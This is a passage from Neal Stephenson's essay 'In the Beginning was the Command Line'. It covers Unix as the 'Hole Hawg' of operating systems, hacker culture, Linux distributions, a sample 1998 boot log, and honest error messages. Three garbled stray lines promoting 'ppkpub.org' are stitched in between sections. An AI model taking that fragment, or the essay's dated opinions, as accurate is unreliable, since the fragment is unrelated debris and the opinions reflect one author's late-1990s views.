considering it to be a true hacker's machine, Barnes was fond of pointing
out that the Mac, with its hermetically sealed architecture, was actually
hostile to hackers, who are prone to tinkering and dogmatic about
openness. By contrast, the IBM-compatible line of machines, which can
easily be taken apart and plugged back together, was much more hackable.
So when I got home I began messing around with Linux, which is one of
many, many different concrete implementations of the abstract, Platonic
ideal called Unix. I was not looking forward to changing over to a new
OS, because my credit cards were still smoking from all the money I'd
spent on Mac hardware over the years. But Linux's great virtue was,
and is, that it would run on exactly the same sort of hardware as the
Microsoft OSes--which is to say, the cheapest hardware in existence. As
if to demonstrate why this was a great idea, I was, within a week or
two of returning home, able to get my hand on a then-decent computer (a
33-MHz 486 box) for free, because I knew a guy who worked in an office
where they were simply being thrown away. Once I got it home, I yanked
the hood off, stuck my hands in, and began switching cards around. If
something didn't work, I went to a used-computer outlet and pawed through
a bin full of components and bought a new card for a few bucks.
The availability of all this cheap but effective hardware was an
unintended consequence of decisions that had been made more than
a decade earlier by IBM and Microsoft. When Windows came out, and
brought the GUI to a much larger market, the hardware regime changed:
the cost of color video cards and high-resolution monitors began to
drop, and is dropping still. This free-for-all approach to hardware
meant that Windows was unavoidably clunky compared to MacOS. But the
GUI brought computing to such a vast audience that volume went way up
and prices collapsed. Meanwhile Apple, which so badly wanted a clean,
integrated OS with video neatly integrated into processing hardware,
had fallen far behind in market share, at least partly because their
beautiful hardware cost so much.
But the price that we Mac owners had to pay for superior aesthetics and
engineering was not merely a financial one. There was a cultural price
too, stemming from the fact that we couldn't open up the hood and mess
around with it. Doug Barnes was right. Apple, in spite of its reputation
as the machine of choice of scruffy, creative hacker types, had actually
created a machine that discouraged hacking, while Microsoft, viewed as a
technological laggard and copycat, had created a vast, disorderly parts
bazaar--a primordial soup that eventually self-assembled into Linux.
THE HOLE HAWG OF OPERATING SYSTEMS
Unix has always lurked provocatively in the background of the operating
system wars, like the Russian Army. Most people know it only by
reputation, and its reputation, as the Dilbert cartoon suggests, is
mixed. But everyone seems to agree that if it could only get its act
together and stop surrendering vast tracts of rich agricultural land
and hundreds of thousands of prisoners of war to the onrushing invaders,
it could stomp them (and all other opposition) flat.
It is difficult to explain how Unix has earned this respect without
going into mind-smashing technical detail. Perhaps the gist of it can
be explained by telling a story about drills.
The Hole Hawg is a drill made by the Milwaukee Tool Company. If you look
in a typical hardware store you may find smaller Milwaukee drills but not
the Hole Hawg, which is too powerful and too expensive for homeowners. The
Hole Hawg does not have the pistol-like design of a cheap homeowner's
drill. It is a cube of solid metal with a handle sticking out of one face
and a chuck mounted in another. The cube contains a disconcertingly potent
electric motor. You can hold the handle and operate the trigger with
your index finger, but unless you are exceptionally strong you cannot
control the weight of the Hole Hawg with one hand; it is a two-hander
all the way. In order to fight off the counter-torque of the Hole Hawg
you use a separate handle (provided), which you screw into one side
of the iron cube or the other depending on whether you are using your
left or right hand to operate the trigger. This handle is not a sleek,
ergonomically designed item as it would be in a homeowner's drill. It is
simply a foot-long chunk of regular galvanized pipe, threaded on one end,
with a black rubber handle on the other. If you lose it, you just go to
the local plumbing supply store and buy another chunk of pipe.
During the Eighties I did some construction work. One day, another
worker leaned a ladder against the outside of the building that we were
putting up, climbed up to the second-story level, and used the Hole Hawg
to drill a hole through the exterior wall. At some point, the drill bit
caught in the wall. The Hole Hawg, following its one and only imperative,
kept going. It spun the worker's body around like a rag doll, causing him
to knock his own ladder down. Fortunately he kept his grip on the Hole
Hawg, which remained lodged in the wall, and he simply dangled from it
and shouted for help until someone came along and reinstated the ladder.
I myself used a Hole Hawg to drill many holes through studs, which it did
as a blender chops cabbage. I also used it to cut a few six-inch-diameter
holes through an old lath-and-plaster ceiling. I chucked in a new
hole saw, went up to the second story, reached down between the newly
installed floor joists, and began to cut through the first-floor ceiling
below. Where my homeowner's drill had labored and whined to spin the huge
bit around, and had stalled at the slightest obstruction, the Hole Hawg
rotated with the stupid consistency of a spinning planet. When the hole
saw seized up, the Hole Hawg spun itself and me around, and crushed one
of my hands between the steel pipe handle and a joist, producing a few
lacerations, each surrounded by a wide corona of deeply bruised flesh. It
also bent the hole saw itself, though not so badly that I couldn't use
it. After a few such run-ins, when I got ready to use the Hole Hawg my
heart actually began to pound with atavistic terror.
But I never blamed the Hole Hawg; I blamed myself. The Hole Hawg is
dangerous because it does exactly what you tell it to. It is not bound
by the physical limitations that are inherent in a cheap drill, and
neither is it limited by safety interlocks that might be built into a
homeowner's product by a liability-conscious manufacturer. The danger
lies not in the machine itself but in the user's failure to envision
the full consequences of the instructions he gives to it.
A smaller tool is dangerous too, but for a completely different reason:
it tries to do what you tell it to, and fails in some way that is
unpredictable and almost always undesirable. But the Hole Hawg is like
the genie of the ancient fairy tales, who carries out his master's
instructions literally and precisely and with unlimited power, often
with disastrous, unforeseen consequences.
Pre-Hole Hawg, I used to examine the drill selection in hardware stores
with what I thought was a judicious eye, scorning the smaller low-end
models and hefting the big expensive ones appreciatively, wishing I
could afford one of them babies. Now I view them all with such contempt
that I do not even consider them to be real drills--merely scaled-up
toys designed to exploit the self-delusional tendencies of soft-handed
homeowners who want to believe that they have purchased an actual
tool. Their plastic casings, carefully designed and focus-group-tested
to convey a feeling of solidity and power, seem disgustingly flimsy and
cheap to me, and I am ashamed that I was ever bamboozled into buying
such knicknacks.
It is not hard to imagine what the world would look like to someone
who had been raised by contractors and who had never used any drill
other than a Hole Hawg. Such a person, presented with the best and most
expensive hardware-store drill, would not even recognize it as such. He
might instead misidentify it as a child's toy, or some kind of motorized
screwdriver. If a salesperson or a deluded homeowner referred to it as a
drill, he would laugh and tell them that they were mistaken--they simply
had their terminology wrong. His interlocutor would go away irritated,
and probably feeling rather defensive about his basement full of cheap,
dangerous, flashy, colorful tools.
Unix is the Hole Hawg of operating systems, and Unix hackers, like Doug
Barnes and the guy in the Dilbert cartoon and many of the other people
who populate Silicon Valley, are like contractor's sons who grew up using
only Hole Hawgs. They might use Apple/Microsoft OSes to write letters,
play video games, or balance their checkbooks, but they cannot really
bring themselves to take these operating systems seriously.
THE ORAL TRADITION
Unix is hard to learn. The process of learning it is one of multiple
small epiphanies. Typically you are just on the verge of inventing some
necessary tool or utility when you realize that someone else has already
invented it, and built it in, and this explains some odd file or directory
or command that you have noticed but never really understood before.
For example there is a command (a small program, part of the OS) called
whoami, which enables you to ask the computer who it thinks you are. On
a Unix machine, you are always logged in under some name--possibly even
your own! What files you may work with, and what software you may use,
depends on your identity. When I started out using Linux, I was on a
non-networked machine in my basement, with only one user account, and so
when I became aware of the whoami command it struck me as ludicrous. But
once you are logged in as one person, you can temporarily switch over
to a pseudonym in order to access different files. If your machine is
on the Internet, you can log onto other computers, provided you have a
user name and a password. At that point the distant machine becomes no
different in practice from the one right in front of you. These changes
in identity and location can easily become nested inside each other, many
layers deep, even if you aren't doing anything nefarious. Once you have
forgotten who and where you are, the whoami command is indispensible. I
use it all the time.
The file systems of Unix machines all have the same general structure. On
your flimsy operating systems, you can create directories (folders)
and give them names like Frodo or My Stuff and put them pretty much
anywhere you like. But under Unix the highest level--the root--of the
filesystem is always designated with the single character "/" and it
always contains the same set of top-level directories:
/usr /etc /var /bin /proc /boot /home /root /sbin /dev /lib /tmp
and each of these directories typically has its own distinct structure of
subdirectories. Note the obsessive use of abbreviations and avoidance of
capital letters; this is a system invented by people to whom repetitive
stress disorder is what black lung is to miners. Long names get worn
down to three-letter nubbins, like stones smoothed by a river.
This is not the place to try to explain why each of the above directories
exists, and what is contained in it. At first it all seems obscure;
worse, it seems deliberately obscure. When I started using Linux I was
accustomed to being able to create directories wherever I wanted and to
give them whatever names struck my fancy. Under Unix you are free to do
that, of course (you are free to do anything) but as you gain experience
with the system you come to understand that the directories listed above
were created for the best of reasons and that your life will be much
easier if you follow along (within /home, by the way, you have pretty
much unlimited freedom).
After this kind of thing has happened several hundred or thousand times,
the hacker understands why Unix is the way it is, and agrees that it
wouldn't be the same any other way. It is this sort of acculturation that
gives Unix hackers their confidence in the system, and the attitude
of calm, unshakable, annoying superiority captured in the Dilbert
cartoon. Windows 95 and MacOS are products, contrived by engineers in
the service of specific companies. Unix, by contrast, is not so much
a product as it is a painstakingly compiled oral history of the hacker
subculture. It is our Gilgamesh epic.
What made old epics like Gilgamesh so powerful and so long-lived was that
they were living bodies of narrative that many people knew by heart,
and told over and over again--making their own personal embellishments
whenever it struck their fancy. The bad embellishments were shouted
down, the good ones picked up by others, polished, improved, and, over
time, incorporated into the story. Likewise, Unix is known, loved, and
understood by so many hackers that it can be re-created from scratch
whenever someone needs it. This is very difficult to understand for
people who are accustomed to thinking of OSes as things that absolutely
have to be bought.
Many hackers have launched more or less successful re-implementations
of the Unix ideal. Each one brings in new embellishments. Some of them
die out quickly, some are merged with similar, parallel innovations
created by different hackers attacking the same problem, others still
are embraced, and adopted into the epic. Thus Unix has slowly accreted
around a simple kernel and acquired a kind of complexity and asymmetry
about it that is organic, like the roots of a tree, or the branchings
of a coronary artery. Understanding it is more like anatomy than physics.
For at least a year, prior to my adoption of Linux, I had been hearing
about it. Credible, well-informed people kept telling me that a bunch of
hackers had got together an implentation of Unix that could be downloaded,
free of charge, from the Internet. For a long time I could not bring
myself to take the notion seriously. It was like hearing rumors that a
group of model rocket enthusiasts had created a completely functional
Saturn V by exchanging blueprints on the Net and mailing valves and
flanges to each other.
But it's true. Credit for Linux generally goes to its human namesake,
one Linus Torvalds, a Finn who got the whole thing rolling in 1991 when
he used some of the GNU tools to write the beginnings of a Unix kernel
that could run on PC-compatible hardware. And indeed Torvalds deserves
all the credit he has ever gotten, and a whole lot more. But he could
not have made it happen by himself, any more than Richard Stallman could
have. To write code at all, Torvalds had to have cheap but powerful
development tools, and these he got from Stallman's GNU project.
And he had to have cheap hardware on which to write that code. Cheap
hardware is a much harder thing to arrange than cheap software; a
single person (Stallman) can write software and put it up on the Net
for free, but in order to make hardware it's necessary to have a whole
industrial infrastructure, which is not cheap by any stretch of the
imagination. Really the only way to make hardware cheap is to punch out
an incredible number of copies of it, so that the unit cost eventually
drops. For reasons already explained, Apple had no desire to see the
cost of hardware drop. The only reason Torvalds had cheap hardware was
Microsoft.
Microsoft refused to go into the hardware business, insisted on making its
software run on hardware that anyone could build, and thereby created the
market conditions that allowed hardware prices to plummet. In trying to
understand the Linux phenomenon, then, we have to look not to a single
innovator but to a sort of bizarre Trinity: Linus Torvalds, Richard
Stallman, and Bill Gates. Take away any of these three and Linux would
not exist.
:;! P2P is future! ppkpub.org->ppk:0R
C{"ap_list":["http://ppkpub.oR
:;! rg/AP/"],"title":"Apache-1","autR
In the Beginning was the Command Line - Part 4/6
OS SHOCK
Young Americans who leave their great big homogeneous country and visit
some other part of the world typically go through several stages of
culture shock: first, dumb wide-eyed astonishment. Then a tentative
engagement with the new country's manners, cuisine, public transit
systems and toilets, leading to a brief period of fatuous confidence
that they are instant experts on the new country. As the visit wears on,
homesickness begins to set in, and the traveler begins to appreciate,
for the first time, how much he or she took for granted at home. At the
same time it begins to seem obvious that many of one's own cultures and
traditions are essentially arbitrary, and could have been different;
driving on the right side of the road, for example. When the traveler
returns home and takes stock of the experience, he or she may have learned
a good deal more about America than about the country they went to visit.
For the same reasons, Linux is worth trying. It is a strange country
indeed, but you don't have to live there; a brief sojourn suffices to give
some flavor of the place and--more importantly--to lay bare everything
that is taken for granted, and all that could have been done differently,
under Windows or MacOS.
You can't try it unless you install it. With any other OS, installing
it would be a straightforward transaction: in exchange for money, some
company would give you a CD-ROM, and you would be on your way. But a lot
is subsumed in that kind of transaction, and has to be gone through and
picked apart.
We like plain dealings and straightforward transactions in America. If
you go to Egypt and, say, take a taxi somewhere, you become a part of the
taxi driver's life; he refuses to take your money because it would demean
your friendship, he follows you around town, and weeps hot tears when
you get in some other guy's taxi. You end up meeting his kids at some
point, and have to devote all sort of ingenuity to finding some way to
compensate him without insulting his honor. It is exhausting. Sometimes
you just want a simple Manhattan-style taxi ride.
But in order to have an American-style setup, where you can just go
out and hail a taxi and be on your way, there must exist a whole hidden
apparatus of medallions, inspectors, commissions, and so forth--which
is fine as long as taxis are cheap and you can always get one. When the
system fails to work in some way, it is mysterious and infuriating and
turns otherwise reasonable people into conspiracy theorists. But when
the Egyptian system breaks down, it breaks down transparently. You can't
get a taxi, but your driver's nephew will show up, on foot, to explain
the problem and apologize.
Microsoft and Apple do things the Manhattan way, with vast complexity
hidden behind a wall of interface. Linux does things the Egypt way,
with vast complexity strewn about all over the landscape. If you've
just flown in from Manhattan, your first impulse will be to throw up
your hands and say "For crying out loud! Will you people get a grip on
yourselves!?" But this does not make friends in Linux-land any better
than it would in Egypt.
You can suck Linux right out of the air, as it were, by downloading the
right files and putting them in the right places, but there probably
are not more than a few hundred people in the world who could create
a functioning Linux system in that way. What you really need is a
distribution of Linux, which means a prepackaged set of files. But
distributions are a separate thing from Linux per se.
Linux per se is not a specific set of ones and zeroes, but a
self-organizing Net subculture. The end result of its collective
lucubrations is a vast body of source code, almost all written in C
(the dominant computer programming language). "Source code" just means
a computer program as typed in and edited by some hacker. If it's in C,
the file name will probably have .c or .cpp on the end of it, depending
on which dialect was used; if it's in some other language it will have
some other suffix. Frequently these sorts of files can be found in a
directory with the name /src which is the hacker's Hebraic abbreviation of
"source."
Source files are useless to your computer, and of little interest to most
users, but they are of gigantic cultural and political significance,
because Microsoft and Apple keep them secret while Linux makes them
public. They are the family jewels. They are the sort of thing that in
Hollywood thrillers is used as a McGuffin: the plutonium bomb core,
the top-secret blueprints, the suitcase of bearer bonds, the reel of
microfilm. If the source files for Windows or MacOS were made public on
the Net, then those OSes would become free, like Linux--only not as good,
because no one would be around to fix bugs and answer questions. Linux
is "open source" software meaning, simply, that anyone can get copies
of its source code files.
Your computer doesn't want source code any more than you do; it wants
object code. Object code files typically have the suffix .o and are
unreadable all but a few, highly strange humans, because they consist
of ones and zeroes. Accordingly, this sort of file commonly shows up in
a directory with the name /bin, for "binary."
Source files are simply ASCII text files. ASCII denotes a particular way
of encoding letters into bit patterns. In an ASCII file, each character
has eight bits all to itself. This creates a potential "alphabet"
of 256 distinct characters, in that eight binary digits can form that
many unique patterns. In practice, of course, we tend to limit ourselves
to the familiar letters and digits. The bit-patterns used to represent
those letters and digits are the same ones that were physically punched
into the paper tape by my high school teletype, which in turn were the
same one used by the telegraph industry for decades previously. ASCII
text files, in other words, are telegrams, and as such they have no
typographical frills. But for the same reason they are eternal, because
the code never changes, and universal, because every text editing and
word processing software ever written knows about this code.
Therefore just about any software can be used to create, edit, and read
source code files. Object code files, then, are created from these source
files by a piece of software called a compiler, and forged into a working
application by another piece of software called a linker.
The triad of editor, compiler, and linker, taken together, form the core
of a software development system. Now, it is possible to spend a lot of
money on shrink-wrapped development systems with lovely graphical user
interfaces and various ergonomic enhancements. In some cases it might even
be a good and reasonable way to spend money. But on this side of the road,
as it were, the very best software is usually the free stuff. Editor,
compiler and linker are to hackers what ponies, stirrups, and archery sets
were to the Mongols. Hackers live in the saddle, and hack on their own
tools even while they are using them to create new applications. It is
quite inconceivable that superior hacking tools could have been created
from a blank sheet of paper by product engineers. Even if they are the
brightest engineers in the world they are simply outnumbered.
In the GNU/Linux world there are two major text editing programs: the
minimalist vi (known in some implementations as elvis) and the maximalist
emacs. I use emacs, which might be thought of as a thermonuclear word
processor. It was created by Richard Stallman; enough said. It is written
in Lisp, which is the only computer language that is beautiful. It is
colossal, and yet it only edits straight ASCII text files, which is
to say, no fonts, no boldface, no underlining. In other words, the
engineer-hours that, in the case of Microsoft Word, were devoted to
features like mail merge, and the ability to embed feature-length motion
pictures in corporate memoranda, were, in the case of emacs, focused with
maniacal intensity on the deceptively simple-seeming problem of editing
text. If you are a professional writer--i.e., if someone else is getting
paid to worry about how your words are formatted and printed--emacs
outshines all other editing software in approximately the same way that
the noonday sun does the stars. It is not just bigger and brighter; it
simply makes everything else vanish. For page layout and printing you
can use TeX: a vast corpus of typesetting lore written in C and also
available on the Net for free.
I could say a lot about emacs and TeX, but right now I am trying to tell a
story about how to actually install Linux on your machine. The hard-core
survivalist approach would be to download an editor like emacs, and the
GNU Tools--the compiler and linker--which are polished and excellent to
the same degree as emacs. Equipped with these, one would be able to start
downloading ASCII source code files (/src) and compiling them into binary
object code files (/bin) that would run on the machine. But in order
to even arrive at this point--to get emacs running, for example--you
have to have Linux actually up and running on your machine. And even a
minimal Linux operating system requires thousands of binary files all
acting in concert, and arranged and linked together just so.
Several entities have therefore taken it upon themselves to create
"distributions" of Linux. If I may extend the Egypt analogy slightly,
these entities are a bit like tour guides who meet you at the airport, who
speak your language, and who help guide you through the initial culture
shock. If you are an Egyptian, of course, you see it the other way;
tour guides exist to keep brutish outlanders from traipsing through your
mosques and asking you the same questions over and over and over again.
Some of these tour guides are commercial organizations, such as Red
Hat Software, which makes a Linux distribution called Red Hat that has
a relatively commercial sheen to it. In most cases you put a Red Hat
CD-ROM into your PC and reboot and it handles the rest. Just as a tour
guide in Egypt will expect some sort of compensation for his services,
commercial distributions need to be paid for. In most cases they cost
almost nothing and are well worth it.
I use a distribution called Debian (the word is a contraction of "Deborah"
and "Ian") which is non-commercial. It is organized (or perhaps I should
say "it has organized itself") along the same lines as Linux in general,
which is to say that it consists of volunteers who collaborate over
the Net, each responsible for looking after a different chunk of the
system. These people have broken Linux down into a number of packages,
which are compressed files that can be downloaded to an already
functioning Debian Linux system, then opened up and unpacked using a
free installer application. Of course, as such, Debian has no commercial
arm--no distribution mechanism. You can download all Debian packages over
the Net, but most people will want to have them on a CD-ROM. Several
different companies have taken it upon themselves to decoct all of the
current Debian packages onto CD-ROMs and then sell them. I buy mine from
Linux Systems Labs. The cost for a three-disc set, containing Debian in
its entirety, is less than three dollars. But (and this is an important
distinction) not a single penny of that three dollars is going to any of
the coders who created Linux, nor to the Debian packagers. It goes to
Linux Systems Labs and it pays, not for the software, or the packages,
but for the cost of stamping out the CD-ROMs.
Every Linux distribution embodies some more or less clever hack for
circumventing the normal boot process and causing your computer, when it
is turned on, to organize itself, not as a PC running Windows, but as a
"host" running Unix. This is slightly alarming the first time you see it,
but completely harmless. When a PC boots up, it goes through a little
self-test routine, taking an inventory of available disks and memory,
and then begins looking around for a disk to boot up from. In any normal
Windows computer that disk will be a hard drive. But if you have your
system configured right, it will look first for a floppy or CD-ROM disk,
and boot from that if one is available.
Linux exploits this chink in the defenses. Your computer notices
a bootable disk in the floppy or CD-ROM drive, loads in some object
code from that disk, and blindly begins to execute it. But this is not
Microsoft or Apple code, this is Linux code, and so at this point your
computer begins to behave very differently from what you are accustomed
to. Cryptic messages began to scroll up the screen. If you had booted a
commercial OS, you would, at this point, be seeing a "Welcome to MacOS"
cartoon, or a screen filled with clouds in a blue sky, and a Windows
logo. But under Linux you get a long telegram printed in stark white
letters on a black screen. There is no "welcome!" message. Most of the
telegram has the semi-inscrutable menace of graffiti tags.
Dec 14 15:04:15 theRev syslogd 1.3-3#17: restart. Dec 14 15:04:15 theRev
kernel: klogd 1.3-3, log source = /proc/kmsg started. Dec 14 15:04:15
theRev kernel: Loaded 3535 symbols from /System.map. Dec 14 15:04:15
theRev kernel: Symbols match kernel version 2.0.30. Dec 14 15:04:15
theRev kernel: No module symbols loaded. Dec 14 15:04:15 theRev kernel:
Intel MultiProcessor Specification v1.4 Dec 14 15:04:15 theRev kernel:
Virtual Wire compatibility mode. Dec 14 15:04:15 theRev kernel: OEM
ID: INTEL Product ID: 440FX APIC at: 0xFEE00000 Dec 14 15:04:15 theRev
kernel: Processor #0 Pentium(tm) Pro APIC version 17 Dec 14 15:04:15
theRev kernel: Processor #1 Pentium(tm) Pro APIC version 17 Dec 14
15:04:15 theRev kernel: I/O APIC #2 Version 17 at 0xFEC00000. Dec 14
15:04:15 theRev kernel: Processors: 2 Dec 14 15:04:15 theRev kernel:
Console: 16 point font, 400 scans Dec 14 15:04:15 theRev kernel: Console:
colour VGA+ 80x25, 1 virtual console (max 63) Dec 14 15:04:15 theRev
kernel: pcibios_init : BIOS32 Service Directory structure at 0x000fdb70
Dec 14 15:04:15 theRev kernel: pcibios_init : BIOS32 Service Directory
entry at 0xfdb80 Dec 14 15:04:15 theRev kernel: pcibios_init : PCI BIOS
revision 2.10 entry at 0xfdba1 Dec 14 15:04:15 theRev kernel: Probing PCI
hardware. Dec 14 15:04:15 theRev kernel: Warning : Unknown PCI device
(10b7:9001). Please read include/linux/pci.h Dec 14 15:04:15 theRev
kernel: Calibrating delay loop.. ok - 179.40 BogoMIPS Dec 14 15:04:15
theRev kernel: Memory: 64268k/66556k available (700k kernel code, 384k
reserved, 1204k data) Dec 14 15:04:15 theRev kernel: Swansea University
Computer Society NET3.035 for Linux 2.0 Dec 14 15:04:15 theRev kernel:
NET3: Unix domain sockets 0.13 for Linux NET3.035. Dec 14 15:04:15
theRev kernel: Swansea University Computer Society TCP/IP for NET3.034
Dec 14 15:04:15 theRev kernel: IP Protocols: ICMP, UDP, TCP Dec 14
15:04:15 theRev kernel: Checking 386/387 coupling... Ok, fpu using
exception 16 error reporting. Dec 14 15:04:15 theRev kernel: Checking
'hlt' instruction... Ok. Dec 14 15:04:15 theRev kernel: Linux version
2.0.30 (root@theRev) (gcc version 2.7.2.1) #15 Fri Mar 27 16:37:24 PST
1998 Dec 14 15:04:15 theRev kernel: Booting processor 1 stack 00002000:
Calibrating delay loop.. ok - 179.40 BogoMIPS Dec 14 15:04:15 theRev
kernel: Total of 2 processors activated (358.81 BogoMIPS). Dec 14
15:04:15 theRev kernel: Serial driver version 4.13 with no serial
options enabled Dec 14 15:04:15 theRev kernel: tty00 at 0x03f8 (irq =
4) is a 16550A Dec 14 15:04:15 theRev kernel: tty01 at 0x02f8 (irq =
3) is a 16550A Dec 14 15:04:15 theRev kernel: lp1 at 0x0378, (polling)
Dec 14 15:04:15 theRev kernel: PS/2 auxiliary pointing device detected --
driver installed. Dec 14 15:04:15 theRev kernel: Real Time Clock Driver
v1.07 Dec 14 15:04:15 theRev kernel: loop: registered device at major
7 Dec 14 15:04:15 theRev kernel: ide: i82371 PIIX (Triton) on PCI bus 0
function 57 Dec 14 15:04:15 theRev kernel: ide0: BM-DMA at 0xffa0-0xffa7
Dec 14 15:04:15 theRev kernel: ide1: BM-DMA at 0xffa8-0xffaf Dec 14
15:04:15 theRev kernel: hda: Conner Peripherals 1275MB - CFS1275A,
1219MB w/64kB Cache, LBA, CHS=619/64/63 Dec 14 15:04:15 theRev kernel:
hdb: Maxtor 84320A5, 4119MB w/256kB Cache, LBA, CHS=8928/15/63, DMA Dec
14 15:04:15 theRev kernel: hdc: , ATAPI CDROM drive Dec 15 11:58:06 theRev
kernel: ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 Dec 15 11:58:06 theRev kernel:
ide1 at 0x170-0x177,0x376 on irq 15 Dec 15 11:58:06 theRev kernel: Floppy
drive(s): fd0 is 1.44M Dec 15 11:58:06 theRev kernel: Started kswapd v
1.4.2.2 Dec 15 11:58:06 theRev kernel: FDC 0 is a National Semiconductor
PC87306 Dec 15 11:58:06 theRev kernel: md driver 0.35 MAX_MD_DEV=4,
MAX_REAL=8 Dec 15 11:58:06 theRev kernel: PPP: version 2.2.0 (dynamic
channel allocation) Dec 15 11:58:06 theRev kernel: TCP compression code
copyright 1989 Regents of the University of California Dec 15 11:58:06
theRev kernel: PPP Dynamic channel allocation code copyright 1995 Caldera,
Inc. Dec 15 11:58:06 theRev kernel: PPP line discipline registered. Dec
15 11:58:06 theRev kernel: SLIP: version 0.8.4-NET3.019-NEWTTY (dynamic
channels, max=256). Dec 15 11:58:06 theRev kernel: eth0: 3Com 3c900
Boomerang 10Mbps/Combo at 0xef00, 00:60:08:a4:3c:db, IRQ 10 Dec 15
11:58:06 theRev kernel: 8K word-wide RAM 3:5 Rx:Tx split, 10base2
interface. Dec 15 11:58:06 theRev kernel: Enabling bus-master transmits
and whole-frame receives. Dec 15 11:58:06 theRev kernel: 3c59x.c:v0.49
1/2/98 Donald Becker http://cesdis.gsfc.nasa.gov/linux/drivers/vortex.html
Dec 15 11:58:06 theRev kernel: Partition check: Dec 15 11:58:06 theRev
kernel: hda: hda1 hda2 hda3 Dec 15 11:58:06 theRev kernel: hdb: hdb1
hdb2 Dec 15 11:58:06 theRev kernel: VFS: Mounted root (ext2 filesystem)
readonly. Dec 15 11:58:06 theRev kernel: Adding Swap: 16124k swap-space
(priority -1) Dec 15 11:58:06 theRev kernel: EXT2-fs warning: maximal
mount count reached, running e2fsck is recommended Dec 15 11:58:06
theRev kernel: hdc: media changed Dec 15 11:58:06 theRev kernel:
ISO9660 Extensions: RRIP_1991A Dec 15 11:58:07 theRev syslogd 1.3-3#17:
restart. Dec 15 11:58:09 theRev diald[87]: Unable to open options file
/etc/diald/diald.options: No such file or directory Dec 15 11:58:09 theRev
diald[87]: No device specified. You must have at least one device! Dec
15 11:58:09 theRev diald[87]: You must define a connector script (option
'connect'). Dec 15 11:58:09 theRev diald[87]: You must define the remote
ip address. Dec 15 11:58:09 theRev diald[87]: You must define the local
ip address. Dec 15 11:58:09 theRev diald[87]: Terminating due to damaged
reconfigure.
The only parts of this that are readable, for normal people, are the error
messages and warnings. And yet it's noteworthy that Linux doesn't stop,
or crash, when it encounters an error; it spits out a pithy complaint,
gives up on whatever processes were damaged, and keeps on rolling. This
was decidedly not true of the early versions of Apple and Microsoft
OSes, for the simple reason that an OS that is not capable of walking and
chewing gum at the same time cannot possibly recover from errors. Looking
for, and dealing with, errors requires a separate process running in
parallel with the one that has erred. A kind of superego, if you will,
that keeps an eye on all of the others, and jumps in when one goes
astray. Now that MacOS and Windows can do more than one thing at a time
they are much better at dealing with errors than they used to be, but
they are not even close to Linux or other Unices in this respect; and
their greater complexity has made them vulnerable to new types of errors.
FALLIBILITY, ATONEMENT, REDEMPTION, TRUST, AND OTHER ARCANE TECHNICAL
CONCEPTS
Linux is not capable of having any centrally organized policies dictating
how to write error messages and documentation, and so each programmer
writes his own. Usually they are in English even though tons of Linux
programmers are Europeans. Frequently they are funny. Always they
are honest. If something bad has happened because the software simply
isn't finished yet, or because the user screwed something up, this will
be stated forthrightly. The command line interface makes it easy for
programs to dribble out little comments, warnings, and messages here and
there. Even if the application is imploding like a damaged submarine,
it can still usually eke out a little S.O.S. message. Sometimes when
you finish working with a program and shut it down, you find that it
has left behind a series of mild warnings and low-grade error messages
in the command-line interface window from which you launched it. As if
the software were chatting to you about how it was doing the whole time
you were working with it.
Documentation, under Linux, comes in the form of man (short for manual)
pages. You can access these either through a GUI (xman) or from the
command line (man). Here is a sample from the man page for a program
called rsh:
"Stop signals stop the local rsh process only; this is arguably wrong,
but currently hard to fix for reasons too complicated to explain here."
The man pages contain a lot of such material, which reads like the terse
mutterings of pilots wrestling with the controls of damaged airplanes. The
general feel is of a thousand monumental but obscure struggles seen in
the stop-action light of a strobe. Each programmer is dealing with his
own obstacles and bugs; he is too busy fixing them, and improving the
software, to explain things at great length or to maintain elaborate
pretensions.
In practice you hardly ever encounter a serious bug while running
Linux. When you do, it is almost always with commercial software (several
vendors sell software that runs under Linux). The operating system and
its fundamental utility programs are too important to contain serious
bugs. I have been running Linux every day since late 1995 and have seen
many application programs go down in flames, but I have never seen the
operating system crash. Never. Not once. There are quite a few Linux
systems that have been running continuously and working hard for months
or years without needing to be rebooted.
Commercial OSes have to adopt the same official stance towards errors
as Communist countries had towards poverty. For doctrinal reasons
it was not possible to admit that poverty was a serious problem in
Communist countries, because the whole point of Communism was to eradicate
poverty. Likewise, commercial OS companies like Apple and Microsoft can't
go around admitting that their software has bugs and that it crashes
all the time, any more than Disney can issue press releases stating that
Mickey Mouse is an actor in a suit.
This is a problem, because errors do exist and bugs do happen. Every
few months Bill Gates tries to demo a new Microsoft product in front
of a large audience only to have it blow up in his face. Commercial
OS vendors, as a direct consequence of being commercial, are forced to
adopt the grossly disingenuous position that bugs are rare aberrations,
usually someone else's fault, and therefore not really worth talking
about in any detail. This posture, which everyone knows to be absurd,
is not limited to press releases and ad campaigns. It informs the whole
way these companies do business and relate to their customers. If the
documentation were properly written, it would mention bugs, errors,
and crashes on every single page. If the on-line help systems that come
with these OSes reflected the experiences and concerns of their users,
they would largely be devoted to instructions on how to cope with crashes
and errors.
But this does not happen. Joint stock corporations are wonderful
inventions that have given us many excellent goods and services. They
are good at many things. Admitting failure is not one of them. Hell,
they can't even admit minor shortcomings.
Of course, this behavior is not as pathological in a corporation as
it would be in a human being. Most people, nowadays, understand that
corporate press releases are issued for the benefit of the corporation's
shareholders and not for the enlightenment of the public. Sometimes the
results of this institutional dishonesty can be dreadful, as with tobacco
and asbestos. In the case of commercial OS vendors it is nothing of the
kind, of course; it is merely annoying.
Some might argue that consumer annoyance, over time, builds up into a
kind of hardened plaque that can conceal serious decay, and that honesty
might therefore be the best policy in the long run; the jury is still
out on this in the operating system market. The business is expanding
fast enough that it's still much better to have billions of chronically
annoyed customers than millions of happy ones.
Most system administrators I know who work with Windows NT all the time
agree that when it hits a snag, it has to be re-booted, and when it
gets seriously messed up, the only way to fix it is to re-install the
operating system from scratch. Or at least this is the only way that
they know of to fix it, which amounts to the same thing. It is quite
possible that the engineers at Microsoft have all sorts of insider
knowledge on how to fix the system when it goes awry, but if they do,
they do not seem to be getting the message out to any of the actual
system administrators I know.
Because Linux is not commercial--because it is, in fact, free, as well
as rather difficult to obtain, install, and operate--it does not have
to maintain any pretensions as to its reliability. Consequently, it
is much more reliable. When something goes wrong with Linux, the error
is noticed and loudly discussed right away. Anyone with the requisite
technical knowledge can go straight to the source code and point out
the source of the error, which is then rapidly fixed by whichever hacker
has carved out responsibility for that particular program.
As far as I know, Debian is the only Linux distribution that has
its own constitution (http://www.debian.org/devel/constitution),
but what really sold me on it was its phenomenal bug database
(http://www.debian.org/Bugs), which is a sort of interactive Doomsday Book
